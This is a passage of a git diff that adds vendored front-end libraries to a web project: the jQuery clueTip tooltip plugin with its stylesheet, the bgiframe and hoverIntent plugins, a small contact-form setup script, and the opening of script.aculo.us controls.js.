+.cluetip-rounded div#cluetip-close { 
+  text-align: right;
+  margin: 0 5px 5px;
+  color: #009;
+  background: transparent;
+}
+.cluetip-rounded div#cluetip-close a {
+  color: #777;
+}
+
+/* rounded arrows */
+
+.clue-right-rounded .cluetip-arrows {
+  background-image: url(images/rarrowleft.gif);
+}
+.clue-left-rounded .cluetip-arrows {
+  background-image: url(images/rarrowright.gif);
+  left: 100%;
+  margin-left: 12px;
+}
+.clue-top-rounded .cluetip-arrows {
+  background-image: url(images/rarrowdown.gif);
+  top: 100%;
+  left: 50%;
+  margin-left: -11px;
+  height: 11px;
+  width: 22px;  
+}  
+.clue-bottom-rounded .cluetip-arrows {
+  background-image: url(images/rarrowup.gif);
+  top: -23px;
+  left: 50%;
+  margin-left: -11px;
+  height: 11px;
+  width: 22px;
+}
+
+
+
+/* stupid IE6 HasLayout hack */
+.cluetip-rounded #cluetip-title,
+.cluetip-rounded #cluetip-inner {
+  zoom: 1;
+}
\ No newline at end of file
diff --git a/libjs/cluetip/jquery.cluetip.js b/libjs/cluetip/jquery.cluetip.js
new file mode 100755 (executable)
index 0000000..6be3258
--- /dev/null
@@ -0,0 +1,519 @@
+/*
+ * jQuery clueTip plugin
+ * Version 0.9.9  (04/24/2009)
+ * @requires jQuery v1.1.4+
+ * @requires Dimensions plugin IF USED WITH jQuery VERSIONS PRIOR TO 1.2.5)
+ *
+ * Dual licensed under the MIT and GPL licenses:
+ * http://www.opensource.org/licenses/mit-license.php
+ * http://www.gnu.org/licenses/gpl.html
+ *
+ */
+/*
+ *
+ * Full list of options/settings can be found at the bottom of this file and at http://plugins.learningjquery.com/cluetip/
+ *
+ * Examples can be found at http://plugins.learningjquery.com/cluetip/demo/
+ *
+*/
+
+;(function($) { 
+
+  var $cluetip, $cluetipInner, $cluetipOuter, $cluetipTitle, $cluetipArrows, $dropShadow, imgCount;
+  $.fn.cluetip = function(js, options) {
+    if (typeof js == 'object') {
+      options = js;
+      js = null;
+    }
+    return this.each(function(index) {
+      var $this = $(this);      
+      
+      // support metadata plugin (v1.0 and 2.0)
+      var opts = $.extend(true, {}, $.fn.cluetip.defaults, options || {}, $.metadata ? $this.metadata() : $.meta ? $this.data() : {});
+
+      // start out with no contents (for ajax activation)
+      var cluetipContents = false;
+      var cluezIndex = parseInt(opts.cluezIndex, 10)-1;
+      var isActive = false, closeOnDelay = 0;
+
+      // create the cluetip divs
+      if (!$('#cluetip').length) {
+        $cluetipInner = $('<div id="cluetip-inner"></div>');
+        $cluetipTitle = $('<h3 id="cluetip-title"></h3>');        
+        $cluetipOuter = $('<div id="cluetip-outer"></div>').append($cluetipInner).prepend($cluetipTitle);
+        $cluetip = $('<div id="cluetip"></div>').css({zIndex: opts.cluezIndex})
+        .append($cluetipOuter).append('<div id="cluetip-extra"></div>')[insertionType](insertionElement).hide();
+        $('<div id="cluetip-waitimage"></div>').css({position: 'absolute', zIndex: cluezIndex-1})
+        .insertBefore('#cluetip').hide();
+        $cluetip.css({position: 'absolute', zIndex: cluezIndex});
+        $cluetipOuter.css({position: 'relative', zIndex: cluezIndex+1});
+        $cluetipArrows = $('<div id="cluetip-arrows" class="cluetip-arrows"></div>').css({zIndex: cluezIndex+1}).appendTo('#cluetip');
+      }
+      var dropShadowSteps = (opts.dropShadow) ? +opts.dropShadowSteps : 0;
+      if (!$dropShadow) {
+        $dropShadow = $([]);
+        for (var i=0; i < dropShadowSteps; i++) {
+          $dropShadow = $dropShadow.add($('<div></div>').css({zIndex: cluezIndex-i-1, opacity:.1, top: 1+i, left: 1+i}));
+        };
+        $dropShadow.css({position: 'absolute', backgroundColor: '#000'})
+        .prependTo($cluetip);
+      }
+      var tipAttribute = $this.attr(opts.attribute), ctClass = opts.cluetipClass;
+      if (!tipAttribute && !opts.splitTitle && !js) return true;
+      // if hideLocal is set to true, on DOM ready hide the local content that will be displayed in the clueTip
+      if (opts.local && opts.localPrefix) {tipAttribute = opts.localPrefix + tipAttribute;}
+      if (opts.local && opts.hideLocal) { $(tipAttribute + ':first').hide(); }
+      var tOffset = parseInt(opts.topOffset, 10), lOffset = parseInt(opts.leftOffset, 10);
+      // vertical measurement variables
+      var tipHeight, wHeight;
+      var defHeight = isNaN(parseInt(opts.height, 10)) ? 'auto' : (/\D/g).test(opts.height) ? opts.height : opts.height + 'px';
+      var sTop, linkTop, posY, tipY, mouseY, baseline;
+      // horizontal measurement variables
+      var tipInnerWidth = isNaN(parseInt(opts.width, 10)) ? 275 : parseInt(opts.width, 10);
+      var tipWidth = tipInnerWidth + (parseInt($cluetip.css('paddingLeft'),10)||0) + (parseInt($cluetip.css('paddingRight'),10)||0) + dropShadowSteps;
+      var linkWidth = this.offsetWidth;
+      var linkLeft, posX, tipX, mouseX, winWidth;
+            
+      // parse the title
+      var tipParts;
+      var tipTitle = (opts.attribute != 'title') ? $this.attr(opts.titleAttribute) : '';
+      if (opts.splitTitle) {
+        if(tipTitle == undefined) {tipTitle = '';}
+        tipParts = tipTitle.split(opts.splitTitle);
+        tipTitle = tipParts.shift();
+      }
+      if (opts.escapeTitle) {
+        tipTitle = tipTitle.replace(/&/g,'&amp;').replace(/>/g,'&gt;').replace(/</g,'&lt;');
+      }
+      
+      var localContent;
+
+/***************************************      
+* ACTIVATION
+****************************************/
+    
+//activate clueTip
+    var activate = function(event) {
+      if (!opts.onActivate($this)) {
+        return false;
+      }
+      isActive = true;
+      $cluetip.removeClass().css({width: tipInnerWidth});
+      if (tipAttribute == $this.attr('href')) {
+        $this.css('cursor', opts.cursor);
+      }
+      $this.attr('title','');
+      if (opts.hoverClass) {
+        $this.addClass(opts.hoverClass);
+      }
+      linkTop = posY = $this.offset().top;
+      linkLeft = $this.offset().left;
+      mouseX = event.pageX;
+      mouseY = event.pageY;
+      if ($this[0].tagName.toLowerCase() != 'area') {
+        sTop = $(document).scrollTop();
+        winWidth = $(window).width();
+      }
+// position clueTip horizontally
+      if (opts.positionBy == 'fixed') {
+        posX = linkWidth + linkLeft + lOffset;
+        $cluetip.css({left: posX});
+      } else {
+        posX = (linkWidth > linkLeft && linkLeft > tipWidth)
+          || linkLeft + linkWidth + tipWidth + lOffset > winWidth 
+          ? linkLeft - tipWidth - lOffset 
+          : linkWidth + linkLeft + lOffset;
+        if ($this[0].tagName.toLowerCase() == 'area' || opts.positionBy == 'mouse' || linkWidth + tipWidth > winWidth) { // position by mouse
+          if (mouseX + 20 + tipWidth > winWidth) {  
+            $cluetip.addClass(' cluetip-' + ctClass);
+            posX = (mouseX - tipWidth - lOffset) >= 0 ? mouseX - tipWidth - lOffset - parseInt($cluetip.css('marginLeft'),10) + parseInt($cluetipInner.css('marginRight'),10) :  mouseX - (tipWidth/2);
+          } else {
+            posX = mouseX + lOffset;
+          }
+        }
+        var pY = posX < 0 ? event.pageY + tOffset : event.pageY;
+        $cluetip.css({left: (posX > 0 && opts.positionBy != 'bottomTop') ? posX : (mouseX + (tipWidth/2) > winWidth) ? winWidth/2 - tipWidth/2 : Math.max(mouseX - (tipWidth/2),0)});
+      }
+        wHeight = $(window).height();
+
+/***************************************
+* load a string from cluetip method's first argument
+***************************************/
+      if (js) {
+        if (typeof js == 'function') {
+          js = js($this[0]);
+        }
+        $cluetipInner.html(js);
+        cluetipShow(pY);
+      }
+/***************************************
+* load the title attribute only (or user-selected attribute). 
+* clueTip title is the string before the first delimiter
+* subsequent delimiters place clueTip body text on separate lines
+***************************************/
+
+      else if (tipParts) {
+        var tpl = tipParts.length;
+        $cluetipInner.empty();
+        for (var i=0; i < tpl; i++){
+          if (i == 0) {
+            $cluetipInner.html(tipParts[i]);
+          } else { 
+            $cluetipInner.append('<div class="split-body">' + tipParts[i] + '</div>');
+          }            
+        };
+        cluetipShow(pY);
+      }
+/***************************************
+* load external file via ajax          
+***************************************/
+
+      else if (!opts.local && tipAttribute.indexOf('#') != 0) {
+        if (/\.(jpe?g|tiff?|gif|png)$/i.test(tipAttribute)) {
+          $cluetipInner.html('<img src="' + tipAttribute + '" alt="' + tipTitle + '" />');
+          cluetipShow(pY);
+        } else if (cluetipContents && opts.ajaxCache) {
+          $cluetipInner.html(cluetipContents);
+          cluetipShow(pY);
+        } else {
+          var ajaxSettings = opts.ajaxSettings;
+          ajaxSettings.cache = false; // force requested page not to be cached by browser
+          ajaxSettings.url = tipAttribute;
+          ajaxSettings.beforeSend = function() {
+            $cluetipOuter.children().empty();
+            if (opts.waitImage) {
+              $('#cluetip-waitimage')
+              .css({top: mouseY+20, left: mouseX+20})
+              .show();
+            }
+          };
+         ajaxSettings.error = function() {
+            if (isActive) {
+              $cluetipInner.html('<i>sorry, the contents could not be loaded</i>');
+            }
+          };
+          ajaxSettings.success = function(data) {
+            cluetipContents = opts.ajaxProcess(data);
+            if (isActive) {
+              $cluetipInner.html(cluetipContents);
+            }
+          };
+          ajaxSettings.complete = function() {
+            imgCount = $('#cluetip-inner img').length;
+            if (imgCount && !$.browser.opera) {
+              $('#cluetip-inner img').load(function() {
+                imgCount--;
+                if (imgCount<1) {
+                  $('#cluetip-waitimage').hide();
+                  if (isActive) cluetipShow(pY);
+                }
+              }); 
+            } else {
+              $('#cluetip-waitimage').hide();
+              if (isActive) cluetipShow(pY);    
+            } 
+          };
+          $.ajax(ajaxSettings);
+        }
+
+/***************************************
+* load an element from the same page
+***************************************/
+      } else if (opts.local) {
+        
+        var $localContent = $(tipAttribute + (/#\w+$/.test(tipAttribute) ? '' : ':eq(' + index + ')')).clone(true).show();
+        $cluetipInner.html($localContent);
+        cluetipShow(pY);
+      }
+    };
+
+// get dimensions and options for cluetip and prepare it to be shown
+    var cluetipShow = function(bpY) {
+      $cluetip.addClass('cluetip-' + ctClass);
+      
+      if (opts.truncate) { 
+        var $truncloaded = $cluetipInner.text().slice(0,opts.truncate) + '...';
+        $cluetipInner.html($truncloaded);
+      }
+      function doNothing() {}; //empty function
+      tipTitle ? $cluetipTitle.show().html(tipTitle) : (opts.showTitle) ? $cluetipTitle.show().html('&nbsp;') : $cluetipTitle.hide();
+      if (opts.sticky) {
+        var $closeLink = $('<div id="cluetip-close"><a href="#">' + opts.closeText + '</a></div>');
+        (opts.closePosition == 'bottom') ? $closeLink.appendTo($cluetipInner) : (opts.closePosition == 'title') ? $closeLink.prependTo($cluetipTitle) : $closeLink.prependTo($cluetipInner);
+        $closeLink.click(function() {
+          cluetipClose();
+          return false;
+        });
+        if (opts.mouseOutClose) {
+          if ($.fn.hoverIntent && opts.hoverIntent) { 
+            $cluetip.hoverIntent({
+              over: doNothing, 
+              timeout: opts.hoverIntent.timeout,  
+              out: function() { $closeLink.trigger('click'); }
+            });
+          } else {
+            $cluetip.hover(doNothing, 
+            function() {$closeLink.trigger('click'); });
+          }
+        } else {
+          $cluetip.unbind('mouseout');
+        }
+      }
+// now that content is loaded, finish the positioning 
+      var direction = '';
+      $cluetipOuter.css({overflow: defHeight == 'auto' ? 'visible' : 'auto', height: defHeight});
+      tipHeight = defHeight == 'auto' ? Math.max($cluetip.outerHeight(),$cluetip.height()) : parseInt(defHeight,10);   
+      tipY = posY;
+      baseline = sTop + wHeight;
+      if (opts.positionBy == 'fixed') {
+        tipY = posY - opts.dropShadowSteps + tOffset;
+      } else if ( (posX < mouseX && Math.max(posX, 0) + tipWidth > mouseX) || opts.positionBy == 'bottomTop') {
+        if (posY + tipHeight + tOffset > baseline && mouseY - sTop > tipHeight + tOffset) { 
+          tipY = mouseY - tipHeight - tOffset;
+          direction = 'top';
+        } else { 
+          tipY = mouseY + tOffset;
+          direction = 'bottom';
+        }
+      } else if ( posY + tipHeight + tOffset > baseline ) {
+        tipY = (tipHeight >= wHeight) ? sTop : baseline - tipHeight - tOffset;
+      } else if ($this.css('display') == 'block' || $this[0].tagName.toLowerCase() == 'area' || opts.positionBy == "mouse") {
+        tipY = bpY - tOffset;
+      } else {
+        tipY = posY - opts.dropShadowSteps;
+      }
+      if (direction == '') {
+        posX < linkLeft ? direction = 'left' : direction = 'right';
+      }
+      $cluetip.css({top: tipY + 'px'}).removeClass().addClass('clue-' + direction + '-' + ctClass).addClass(' cluetip-' + ctClass);
+      if (opts.arrows) { // set up arrow positioning to align with element
+        var bgY = (posY - tipY - opts.dropShadowSteps);
+        $cluetipArrows.css({top: (/(left|right)/.test(direction) && posX >=0 && bgY > 0) ? bgY + 'px' : /(left|right)/.test(direction) ? 0 : ''}).show();
+      } else {
+        $cluetipArrows.hide();
+      }
+
+// (first hide, then) ***SHOW THE CLUETIP***
+      $dropShadow.hide();
+      $cluetip.hide()[opts.fx.open](opts.fx.open != 'show' && opts.fx.openSpeed);
+      if (opts.dropShadow) $dropShadow.css({height: tipHeight, width: tipInnerWidth}).show();
+      if ($.fn.bgiframe) { $cluetip.bgiframe(); }
+      // delayed close (not fully tested)
+      if (opts.delayedClose > 0) {
+        closeOnDelay = setTimeout(cluetipClose, opts.delayedClose);
+      }
+      // trigger the optional onShow function
+      opts.onShow($cluetip, $cluetipInner);
+      
+    };
+
+/***************************************
+   =INACTIVATION
+-------------------------------------- */
+    var inactivate = function(event) {
+      isActive = false;
+      $('#cluetip-waitimage').hide();
+      if (!opts.sticky || (/click|toggle/).test(opts.activation) ) {
+        cluetipClose();
+clearTimeout(closeOnDelay);        
+      };
+      if (opts.hoverClass) {
+        $this.removeClass(opts.hoverClass);
+      }
+    };
+// close cluetip and reset some things
+    var cluetipClose = function() {
+      $cluetipOuter 
+      .parent().hide().removeClass();
+      opts.onHide($cluetip, $cluetipInner);
+      $this.removeClass('cluetip-clicked');
+      if (tipTitle) {
+        $this.attr(opts.titleAttribute, tipTitle);
+      }
+      $this.css('cursor','');
+      if (opts.arrows) $cluetipArrows.css({top: ''});
+    };
+
+/***************************************
+   =BIND EVENTS
+-------------------------------------- */
+  // activate by click
+      if ( (/click|toggle/).test(opts.activation) ) {
+        $this.click(function(event) {
+          if ($cluetip.is(':hidden') || !$this.is('.cluetip-clicked')) {
+            activate(event);
+            $('.cluetip-clicked').removeClass('cluetip-clicked');
+            $this.addClass('cluetip-clicked');
+          } else {
+            inactivate(event);
+          }
+          this.blur();
+          return false;
+        });
+  // activate by focus; inactivate by blur    
+      } else if (opts.activation == 'focus') {
+        $this.focus(function(event) {
+          activate(event);
+        });
+        $this.blur(function(event) {
+          inactivate(event);
+        });
+  // activate by hover
+    // clicking is returned false if cluetip url is same as href url
+      } else {
+        $this.click(function() {
+          if ($this.attr('href') && $this.attr('href') == tipAttribute && !opts.clickThrough) {
+            return false;
+          }
+        });
+        //set up mouse tracking
+        var mouseTracks = function(evt) {
+          if (opts.tracking == true) {
+            var trackX = posX - evt.pageX;
+            var trackY = tipY ? tipY - evt.pageY : posY - evt.pageY;
+            $this.mousemove(function(evt) {
+              $cluetip.css({left: evt.pageX + trackX, top: evt.pageY + trackY });
+            });
+          }
+        };
+        if ($.fn.hoverIntent && opts.hoverIntent) {
+          $this.mouseover(function() {$this.attr('title',''); })
+          .hoverIntent({
+            sensitivity: opts.hoverIntent.sensitivity,
+            interval: opts.hoverIntent.interval,  
+            over: function(event) {
+              activate(event);
+              mouseTracks(event);
+            }, 
+            timeout: opts.hoverIntent.timeout,  
+            out: function(event) {inactivate(event); $this.unbind('mousemove');}
+          });           
+        } else {
+          $this.hover(function(event) {
+            activate(event);
+            mouseTracks(event);
+          }, function(event) {
+            inactivate(event);
+            $this.unbind('mousemove');
+          });
+        }
+      }
+    });
+  };
+  
+/*
+ * options for clueTip
+ *
+ * each one can be explicitly overridden by changing its value. 
+ * for example: $.fn.cluetip.defaults.width = 200; 
+ * would change the default width for all clueTips to 200. 
+ *
+ * each one can also be overridden by passing an options map to the cluetip method.
+ * for example: $('a.example').cluetip({width: 200}); 
+ * would change the default width to 200 for clueTips invoked by a link with class of "example"
+ *
+ */
+  
+  $.fn.cluetip.defaults = {  // set up default options
+    width:            275,      // The width of the clueTip
+    height:           'auto',   // The height of the clueTip
+    cluezIndex:       97,       // Sets the z-index style property of the clueTip
+    positionBy:       'auto',   // Sets the type of positioning: 'auto', 'mouse','bottomTop', 'fixed'
+    topOffset:        15,       // Number of px to offset clueTip from top of invoking element
+    leftOffset:       15,       // Number of px to offset clueTip from left of invoking element
+    local:            false,    // Whether to use content from the same page for the clueTip's body
+    localPrefix:    null,       // string to be prepended to the tip attribute if local is true
+    hideLocal:        true,     // If local option is set to true, this determines whether local content
+                                // to be shown in clueTip should be hidden at its original location
+    attribute:        'rel',    // the attribute to be used for fetching the clueTip's body content
+    titleAttribute:   'title',  // the attribute to be used for fetching the clueTip's title
+    splitTitle:       '',       // A character used to split the title attribute into the clueTip title and divs
+                                // within the clueTip body. more info below [6]
+    escapeTitle:      false,    // whether to html escape the title attribute
+    showTitle:        true,     // show title bar of the clueTip, even if title attribute not set
+    cluetipClass:     'default',// class added to outermost clueTip div in the form of 'cluetip-' + clueTipClass.
+    hoverClass:       '',       // class applied to the invoking element onmouseover and removed onmouseout
+    waitImage:        true,     // whether to show a "loading" img, which is set in jquery.cluetip.css
+    cursor:           'help',
+    arrows:           false,    // if true, displays arrow on appropriate side of clueTip
+    dropShadow:       true,     // set to false if you don't want the drop-shadow effect on the clueTip
+    dropShadowSteps:  6,        // adjusts the size of the drop shadow
+    sticky:           false,    // keep visible until manually closed
+    mouseOutClose:    false,    // close when clueTip is moused out
+    activation:       'hover',  // set to 'click' to force user to click to show clueTip
+                                // set to 'focus' to show on focus of a form element and hide on blur
+    clickThrough:     false,    // if true, and activation is not 'click', then clicking on link will take user to the link's href,
+                                // even if href and tipAttribute are equal
+    tracking:         false,    // if true, clueTip will track mouse movement (experimental)
+    delayedClose:     0,        // close clueTip on a timed delay (experimental)
+    closePosition:    'top',    // location of close text for sticky cluetips; can be 'top' or 'bottom' or 'title'
+    closeText:        'Close',  // text (or HTML) to to be clicked to close sticky clueTips
+    truncate:         0,        // number of characters to truncate clueTip's contents. if 0, no truncation occurs
+
+    // effect and speed for opening clueTips
+    fx: {             
+                      open:       'show', // can be 'show' or 'slideDown' or 'fadeIn'
+                      openSpeed:  ''
+    },     
+
+    // settings for when hoverIntent plugin is used             
+    hoverIntent: {    
+                      sensitivity:  3,
+                                 interval:     50,
+                                 timeout:      0
+    },
+
+    // function to run just before clueTip is shown.           
+    onActivate:       function(e) {return true;},
+
+    // function to run just after clueTip is shown.
+    onShow:           function(ct, c){},
+    // function to run just after clueTip is hidden.
+    onHide:           function(ct, c){},
+    // whether to cache results of ajax request to avoid unnecessary hits to server    
+    ajaxCache:        true,  
+
+    // process data retrieved via xhr before it's displayed
+    ajaxProcess:      function(data) {
+                        data = data.replace(/<s(cript|tyle)(.|\s)*?\/s(cript|tyle)>/g, '').replace(/<(link|title)(.|\s)*?\/(link|title)>/g,'');
+                        return data;
+    },                
+
+    // can pass in standard $.ajax() parameters, not including error, complete, success, and url
+    ajaxSettings: {
+                      dataType: 'html'
+    },
+    debug: false
+  };
+
+
+/*
+ * Global defaults for clueTips. Apply to all calls to the clueTip plugin.
+ *
+ * @example $.cluetip.setup({
+ *   insertionType: 'prependTo',
+ *   insertionElement: '#container'
+ * });
+ * 
+ * @property
+ * @name $.cluetip.setup
+ * @type Map
+ * @cat Plugins/tooltip
+ * @option String insertionType: Default is 'appendTo'. Determines the method to be used for inserting the clueTip into the DOM. Permitted values are 'appendTo', 'prependTo', 'insertBefore', and 'insertAfter'
+ * @option String insertionElement: Default is 'body'. Determines which element in the DOM the plugin will reference when inserting the clueTip.
+ *
+ */
+   
+  var insertionType = 'appendTo', insertionElement = 'body';
+  $.cluetip = {};
+  $.cluetip.setup = function(options) {
+    if (options && options.insertionType && (options.insertionType).match(/appendTo|prependTo|insertBefore|insertAfter/)) {
+      insertionType = options.insertionType;
+    }
+    if (options && options.insertionElement) {
+      insertionElement = options.insertionElement;
+    }
+  };
+  
+})(jQuery);
diff --git a/libjs/cluetip/lib/jquery.bgiframe.min.js b/libjs/cluetip/lib/jquery.bgiframe.min.js
new file mode 100755 (executable)
index 0000000..028b27d
--- /dev/null
@@ -0,0 +1,10 @@
+/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
+ * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) 
+ * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
+ *
+ * $LastChangedDate: 2007-07-21 19:45:56 -0400 (Sat, 21 Jul 2007) $
+ * $Rev: 2447 $
+ *
+ * Version 2.1.1
+ */
+(function($){$.fn.bgIframe=$.fn.bgiframe=function(s){if($.browser.msie&&/6.0/.test(navigator.userAgent)){s=$.extend({top:'auto',left:'auto',width:'auto',height:'auto',opacity:true,src:'javascript:false;'},s||{});var prop=function(n){return n&&n.constructor==Number?n+'px':n;},html='<iframe class="bgiframe"frameborder="0"tabindex="-1"src="'+s.src+'"'+'style="display:block;position:absolute;z-index:-1;'+(s.opacity!==false?'filter:Alpha(Opacity=\'0\');':'')+'top:'+(s.top=='auto'?'expression(((parseInt(this.parentNode.currentStyle.borderTopWidth)||0)*-1)+\'px\')':prop(s.top))+';'+'left:'+(s.left=='auto'?'expression(((parseInt(this.parentNode.currentStyle.borderLeftWidth)||0)*-1)+\'px\')':prop(s.left))+';'+'width:'+(s.width=='auto'?'expression(this.parentNode.offsetWidth+\'px\')':prop(s.width))+';'+'height:'+(s.height=='auto'?'expression(this.parentNode.offsetHeight+\'px\')':prop(s.height))+';'+'"/>';return this.each(function(){if($('> iframe.bgiframe',this).length==0)this.insertBefore(document.createElement(html),this.firstChild);});}return this;};})(jQuery);
\ No newline at end of file
diff --git a/libjs/cluetip/lib/jquery.hoverIntent.js b/libjs/cluetip/lib/jquery.hoverIntent.js
new file mode 100755 (executable)
index 0000000..ac67e4d
--- /dev/null
@@ -0,0 +1,112 @@
+/**
+* hoverIntent is similar to jQuery's built-in "hover" function except that
+* instead of firing the onMouseOver event immediately, hoverIntent checks
+* to see if the user's mouse has slowed down (beneath the sensitivity
+* threshold) before firing the onMouseOver event.
+* 
+* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2
+* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
+* 
+* hoverIntent is currently available for use in all personal or commercial 
+* projects under both MIT and GPL licenses. This means that you can choose 
+* the license that best suits your project, and use it accordingly.
+* 
+* // basic usage (just like .hover) receives onMouseOver and onMouseOut functions
+* $("ul li").hoverIntent( showNav , hideNav );
+* 
+* // advanced usage receives configuration object only
+* $("ul li").hoverIntent({
+*      sensitivity: 2, // number = sensitivity threshold (must be 1 or higher)
+*      interval: 50,   // number = milliseconds of polling interval
+*      over: showNav,  // function = onMouseOver callback (required)
+*      timeout: 100,   // number = milliseconds delay before onMouseOut function call
+*      out: hideNav    // function = onMouseOut callback (required)
+* });
+* 
+* @param  f  onMouseOver function || An object with configuration options
+* @param  g  onMouseOut function  || Nothing (use configuration options object)
+* @return    The object (aka "this") that called hoverIntent, and the event object
+* @author    Brian Cherne <brian@cherne.net>
+*/
+(function($) {
+       $.fn.hoverIntent = function(f,g) {
+               // default configuration options
+               var cfg = {
+                       sensitivity: 7,
+                       interval: 100,
+                       timeout: 0
+               };
+               // override configuration options with user supplied object
+               cfg = $.extend(cfg, g ? { over: f, out: g } : f );
+
+               // instantiate variables
+               // cX, cY = current X and Y position of mouse, updated by mousemove event
+               // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
+               var cX, cY, pX, pY;
+
+               // A private function for getting mouse position
+               var track = function(ev) {
+                       cX = ev.pageX;
+                       cY = ev.pageY;
+               };
+
+               // A private function for comparing current and previous mouse position
+               var compare = function(ev,ob) {
+                       ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+                       // compare mouse positions to see if they've crossed the threshold
+                       if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
+                               $(ob).unbind("mousemove",track);
+                               // set hoverIntent state to true (so mouseOut can be called)
+                               ob.hoverIntent_s = 1;
+                               return cfg.over.apply(ob,[ev]);
+                       } else {
+                               // set previous coordinates for next time
+                               pX = cX; pY = cY;
+                               // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
+                               ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
+                       }
+               };
+
+               // A private function for delaying the mouseOut function
+               var delay = function(ev,ob) {
+                       ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+                       ob.hoverIntent_s = 0;
+                       return cfg.out.apply(ob,[ev]);
+               };
+
+               // A private function for handling mouse 'hovering'
+               var handleHover = function(e) {
+                       // next three lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
+                       var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
+                       while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
+                       if ( p == this ) { return false; }
+
+                       // copy objects to be passed into t (required for event object to be passed in IE)
+                       var ev = jQuery.extend({},e);
+                       var ob = this;
+
+                       // cancel hoverIntent timer if it exists
+                       if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }
+
+                       // else e.type == "onmouseover"
+                       if (e.type == "mouseover") {
+                               // set "previous" X and Y position based on initial entry point
+                               pX = ev.pageX; pY = ev.pageY;
+                               // update "current" X and Y position based on mousemove
+                               $(ob).bind("mousemove",track);
+                               // start polling interval (self-calling timeout) to compare mouse coordinates over time
+                               if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}
+
+                       // else e.type == "onmouseout"
+                       } else {
+                               // unbind expensive mousemove event
+                               $(ob).unbind("mousemove",track);
+                               // if hoverIntent state is true, then call the mouseOut function after the specified delay
+                               if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
+                       }
+               };
+
+               // bind the function to the two event listeners
+               return this.mouseover(handleHover).mouseout(handleHover);
+       };
+})(jQuery);
\ No newline at end of file
diff --git a/libjs/contactform.js b/libjs/contactform.js
new file mode 100755 (executable)
index 0000000..a4ba612
--- /dev/null
@@ -0,0 +1,28 @@
+$(document).ready(function(){
+    //  The err is depreciated since we have changed how we handle
+    //  displaying errors.  Leaving in for backwards compatibility.
+
+       //      Check to make sure we have an err before trying to assign
+       //      classes to a non-existant dom node.
+       var err = $('tr:has(div.form-warning-inside)');
+       if (err) {
+               err.addClass('req');
+               $("td.labelcell:has(span,req) > label").css("color","red");
+               $("td.fieldcell:has(span,req) > label").css("color","red");
+       }
+
+       $('.tooltip').cluetip({
+               //      character to split title text from body text.
+               splitTitle:    '|',
+               //      show arrow on sid of cluetip.
+               arrows:        true,
+               //      hide cluetip on mouseout.
+               mouseOutClose: true,
+               //      track mouse movement.
+               tracking:      true,
+               //      keep z index above all elements on page.
+               cluezIndex:    10000,
+               //      effect to open cluetip with.
+               fx:            {open: 'fadeIn'}
+       });
+});
diff --git a/libjs/controls.js b/libjs/controls.js
new file mode 100755 (executable)
index 0000000..0088d18
--- /dev/null
@@ -0,0 +1,965 @@
+// script.aculo.us controls.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2007 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
+//           (c) 2005-2007 Jon Tirsen (http://www.tirsen.com)
+// Contributors:
+//  Richard Livsey
+//  Rahul Bhargava
+//  Rob Wills
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+// Autocompleter.Base handles all the autocompletion functionality 
+// that's independent of the data source for autocompletion. This
+// includes drawing the autocompletion menu, observing keyboard
+// and mouse events, and similar.
+//
+// Specific autocompleters need to provide, at the very least, 
+// a getUpdatedChoices function that will be invoked every time
+// the text inside the monitored textbox changes. This method 
+// should get the text for which to provide autocompletion by
+// invoking this.getToken(), NOT by directly accessing
+// this.element.value. This is to allow incremental tokenized
+// autocompletion. Specific auto-completion logic (AJAX, etc)
+// belongs in getUpdatedChoices.
+//
+// Tokenized incremental autocompletion is enabled automatically
+// when an autocompleter is instantiated with the 'tokens' option
+// in the options parameter, e.g.:
+// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
+// will incrementally autocomplete with a comma as the token.
+// Additionally, ',' in the above example can be replaced with
+// a token array, e.g. { tokens: [',', '\n'] } which
+// enables autocompletion on multiple tokens. This is most 
+// useful when one of the tokens is \n (a newline), as it 
+// allows smart autocompletion after linebreaks.
+
+if(typeof Effect == 'undefined')
+  throw("controls.js requires including script.aculo.us' effects.js library");
+
+var Autocompleter = { }
+Autocompleter.Base = Class.create({
+  baseInitialize: function(element, update, options) {
+    element          = $(element)
+    this.element     = element; 
+    this.update      = $(update);  
+    this.hasFocus    = false; 
+    this.changed     = false; 
+    this.active      = false; 
+    this.index       = 0;     
+    this.entryCount  = 0;
+    this.oldElementValue = this.element.value;
+
+    if(this.setOptions)
+      this.setOptions(options);
+    else
+      this.options = options || { };
+
+    this.options.paramName    = this.options.paramName || this.element.name;
+    this.options.tokens       = this.options.tokens || [];
+    this.options.frequency    = this.options.frequency || 0.4;
+    this.options.minChars     = this.options.minChars || 1;
+    this.options.onShow       = this.options.onShow || 
+      function(element, update){ 
+        if(!update.style.position || update.style.position=='absolute') {
+          update.style.position = 'absolute';
+          Position.clone(element, update, {
+            setHeight: false, 
+            offsetTop: element.offsetHeight
+          });
+        }
+        Effect.Appear(update,{duration:0.15});
+      };
+    this.options.onHide = this.options.onHide || 
+      function(element, update){ new Effect.Fade(update,{duration:0.15}) };
+
+    if(typeof(this.options.tokens) == 'string') 
+      this.options.tokens = new Array(this.options.tokens);
+    // Force carriage returns as token delimiters anyway
+    if (!this.options.tokens.include('\n'))
